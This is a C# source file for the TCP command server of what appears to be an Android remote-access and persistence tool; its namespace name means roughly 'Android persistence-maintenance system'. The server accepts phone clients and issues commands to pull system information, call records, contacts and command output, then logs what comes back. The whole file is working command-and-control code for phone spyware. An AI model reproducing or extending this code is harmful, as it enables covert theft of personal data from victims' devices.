﻿using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.IO;
using System.Windows.Forms;
using System.Runtime.Remoting.Messaging;
using NLog;

namespace 天离安卓权限维持系统.Services
{
    public class TcpServer_Services
    {
        private static readonly Logger logger = LogManager.GetCurrentClassLogger();
        private TcpListener _server;
        private bool _isRunning;
        private ConcurrentDictionary<Guid, TcpClient> _clients;

        // 定义事件
        public event Action<Guid, string> ClientConnected;
        public event Action<Guid> ClientDisconnected;

        public TcpServer_Services(string ipAddress, int port)
        {
            _server = new TcpListener(IPAddress.Parse(ipAddress), port);
            _clients = new ConcurrentDictionary<Guid, TcpClient>();
        }
        public ConcurrentDictionary<Guid, TcpClient> Clients
        {
            get { return _clients; }
        }

        public async void Start()
        {
            _server.Start();
            _isRunning = true;
            Api.TcpApi.Info = "服务器已启动，等待连接";
            Console.WriteLine("执行时间：" + "服务器已启动，等待连接...");

            while (_isRunning)
            {
                try
                {
                    var client = await _server.AcceptTcpClientAsync();
                    Guid clientId = Guid.NewGuid();
                    var ip = ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString();
                    _clients.TryAdd(clientId, client);

                    // 触发事件
                    ClientConnected?.Invoke(clientId, ip);
                    Api.TcpApi.Info = $"客户端 {clientId} 已连接";
                    Console.WriteLine("执行时间：" + $"客户端 {clientId} 已连接.");



                    Api.TcpApi.Command = "getsysteminfo";

                    //Thread clientThread1 = new Thread(async () => await NotifyClientOnConnection(clientId, Api.TcpApi.Command));
                    //Thread clientThread1 = new Thread(async () => await HandleClient(client, clientId));
                    //clientThread1.IsBackground = true;
                    //clientThread1.Start();

                    //System.Threading.Thread.Sleep(1000);

                    // 先监听
                    Thread clientThread = new Thread(async () => await HandleClient(client, clientId));
                    clientThread.IsBackground = true;
                    clientThread.Start();
                }
                catch (SocketException ex)
                {
                    Api.TcpApi.Error = $"SocketException: {ex.Message}";
                    Console.WriteLine("执行时间：" + "执行时间：" + $"SocketException: {ex.Message}");
                }
            }
        }

        public async Task HandleClient(TcpClient client, Guid clientId)
        {
            try
            {
                // 初始化可变字符
                Api.TcpApi.GetContracsb = new StringBuilder();
                // 首先获取客户端的网络流
                using (var stream = client.GetStream())
                using (var reader = new StreamReader(stream))
                using (var writer = new StreamWriter(stream) { AutoFlush = true })
                {
                    string code = Api.TcpApi.Command;
                    if(code == "getsysteminfo")
                    {
                        // 写入消息
                        Api.TcpApi.InfoCode = "getsysteminfo";
                        writer.WriteLine(code);  // 发送消息给客户端
                        Api.TcpApi.Info = $"已发送消息给客户端 {clientId}: {code}";
                        Console.WriteLine("执行时间：" + $"已发送消息给客户端 {clientId}: {code}");
                    }
                    else if(code == "getth"){
                        Api.TcpApi.InfoCode = "getth";
                        // 写入消息
                        writer.WriteLine(code);  // 发送消息给客户端
                        Api.TcpApi.Info = $"已发送消息给客户端 {clientId}: {code}";
                        Console.WriteLine("执行时间：" + $"已发送消息给客户端 {clientId}: {code}");
                    }
                    else if (code == "getcontacts")
                    {
                        // 写入消息
                        Api.TcpApi.InfoCode = "getcontacts";
                        writer.WriteLine(code);  // 发送消息给客户端
                        Api.TcpApi.Info = $"已发送消息给客户端 {clientId}: {code}";
                        Console.WriteLine("执行时间：" + $"已发送消息给客户端 {clientId}: {code}");
                    }
                    else if (code == "getcmd")
                    {
                        Api.TcpApi.InfoCode = "getcmd";
                        writer.WriteLine(code);  // 发送消息给客户端
                        Api.TcpApi.Info = $"已发送消息给客户端 {clientId}: {code}";
                        Console.WriteLine("执行时间：" + $"已发送消息给客户端 {clientId}: {code}");
                    }
                    string message;
                    while (true)
                    {
                        try
                        {
                            // 检查是否客户端关闭
                            if (client.Client.Poll(1000, SelectMode.SelectRead) && client.Client.Available == 0)
                            {
                                break; // 客户端已关闭连接
                            }

                            // 处理消息
                            message = await reader.ReadLineAsync();
                            if (message == null) // 如果读取的消息为空，则客户端已关闭连接
                            {
                                break; // 退出循环
                            }

                            if (string.IsNullOrWhiteSpace(message))
                            {
                                Api.TcpApi.Info = $"来自客户端 {clientId} 的消息为空，继续等待";
                                Console.WriteLine("执行时间：" + $"来自客户端 {clientId} 的消息为空，继续等待...");
                                continue; // 继续等待下一个消息
                            }
                            string codebs = Api.TcpApi.Command;

                            if (codebs == "getsysteminfo")
                            {
                                Api.TcpApi.InfoCode = "getsysteminfo";
                                // 处理正常消息
                                Api.TcpApi.ListSysteminfo = message;
                                Api.TcpApi.Info = $"接收到来自客户端 {clientId} 的消息: {message}";
                                Console.WriteLine("执行时间：" + $"成功获取系统信息: {message}");
                            }
                            else if (codebs == "getth")
                            {
                                Api.TcpApi.InfoCode = "getth";
                                Api.TcpApi.GetContracsb.Append(message);
                                logger.Info("获取到通讯录信息：" + message);
                                Api.TcpApi.Info = $"接收到来自客户端 {clientId} 的消息: {message}";
                                Console.WriteLine("执行时间：" + $"成功获取通话信息: {message}");
                            }
                            else if(codebs == "getcontacts")
                            {
                                Api.TcpApi.InfoCode = "getcontacts";
                                // 可变的 GetContracsb
                                Api.TcpApi.GetContracsb.Append(message);
                                //Api.TcpApi.ListSysteminfo = message;
                                Api.TcpApi.Info = $"接收到来自客户端 {clientId} 的消息: {message}";
                                Console.WriteLine("执行时间：" + $"成功获取通讯录信息: {message}");
                            }
                            else if (codebs == "getcmd")
                            {
                                Api.TcpApi.InfoCode = "getcmd";
                                // 可变的 GetContracsb
                                Api.TcpApi.GetContracsb.Append(message);
                                //Api.TcpApi.ListSysteminfo = message;
                                Api.TcpApi.Info = $"接收到来自客户端 {clientId} 的消息: {message}";
                                Console.WriteLine("执行时间：" + $"成功获取通讯录信息: {message}");
                            }

                        }
                        catch (IOException e)
                        {
                            Api.TcpApi.Error = $"客户端 {clientId} 连接异常: {e.Message}";
                            Console.WriteLine("执行时间：" + $"客户端 {clientId} 连接异常: {e.Message}");
                            break; // 跳出循环
                        }
                        catch (Exception ex)
                        {
                            Api.TcpApi.Error = $"客户端 {clientId} 连接发生异常: {ex.Message}";
                            Console.WriteLine("执行时间：" + $"客户端 {clientId} 连接发生异常: {ex.Message}");
                            break; // 跳出循环
                        }
                    }
                }
            }
            catch (InvalidOperationException ex)
            {
                Api.TcpApi.Error = $"无法获取流，客户端 {clientId} 可能已经断开: {ex.Message}";
                Console.WriteLine("执行时间：" + $"无法获取流，客户端 {clientId} 可能已经断开: {ex.Message}");
            }
            finally
            {
                // 客户端关闭时移除
                ClientDisconnected?.Invoke(clientId);
                _clients.TryRemove(clientId, out _);
                client.Close();
                Api.TcpApi.Info = $"客户端 {clientId} 连接已关闭";
                Console.WriteLine("执行时间：" + $"客户端 {clientId} 连接已关闭.");
            }
        }
        public void Stop()
        {
            _isRunning = false;
            _server.Stop();
            Api.TcpApi.Info = "服务器已停止.";
            Console.WriteLine("执行时间：" + "服务器已停止.");
        }
    }
}
